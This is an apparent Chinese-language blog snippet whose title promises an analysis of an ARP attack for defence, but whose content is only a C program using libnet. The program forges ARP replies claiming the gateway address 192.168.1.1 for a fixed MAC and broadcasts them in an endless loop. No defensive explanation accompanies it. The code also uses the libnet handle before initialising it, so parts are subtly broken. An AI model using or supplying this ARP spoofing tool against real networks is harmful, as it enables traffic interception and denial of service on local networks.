Linux使用libnet实现ARP攻击脚本原理分析以防被攻击

int main(int argc,char **argv){
 libnet_t *l;
 int i,packet_size;  //发送的数据包的长度
 libnet_ptag_t arp_tag,ether_tag;
 char *device="eth0";
 char err_buf[LIBNET_ERRBUF_SIZE];
 char *destion_ip_str = "255.255.255.255";
 char *source_ip_str = "192.168.1.1";
 u_char source_hardware[6]={0x00,0x0c,0x29,0x68,0x95,0x84};
 u_char destion_hardware[6]={0xff,0xff,0xff,0xff,0xff,0xff};
 u_int32_t source_ip,destion_ip;
 //将字符形式ip转换为网络字节序
 source_ip = libnet_name2addr4(l,source_ip_str,LIBNET_RESOLVE);
 destion_ip = libnet_name2addr4(l,destion_ip_str,LIBNET_RESOLVE);
 //初始化libnet句柄
 l = libnet_init(LIBNET_LINK,device,err_buf);
 if(l == NULL){
  printf("初始化libnet句柄失败:%s\n",err_buf);
  exit(-1);
 }
 arp_tag = libnet_build_arp(
  ARPHRD_ETHER,  //硬件地址类型，此处为以太网类型
  ETHERTYPE_IP,  //协议地址类型
  6,
  4,
  ARPOP_REPLY,  //ARP应答
  source_hardware,
  (u_int8_t *)&source_ip,
  destion_hardware,
  (u_int8_t *)&destion_ip,
  NULL,  //无负载
  0,   //负载长度为0
  l,
  0  //协议块标记，为0，表示新建协议块
  );
 ether_tag = libnet_build_ethernet(
  (u_int8_t *)&destion_hardware,
  (u_int8_t *)&source_hardware,
  ETHERTYPE_ARP,
  NULL,
  0,
  l,
  0
  );
 i = 0;
 while(1){
  packet_size = libnet_write(l);  //发送构造的ARP数据包
  usleep(10);
  i++;
 }
 printf("数据包长度为：%d\n",packet_size);
 libnet_destroy(l);
 return 0;
}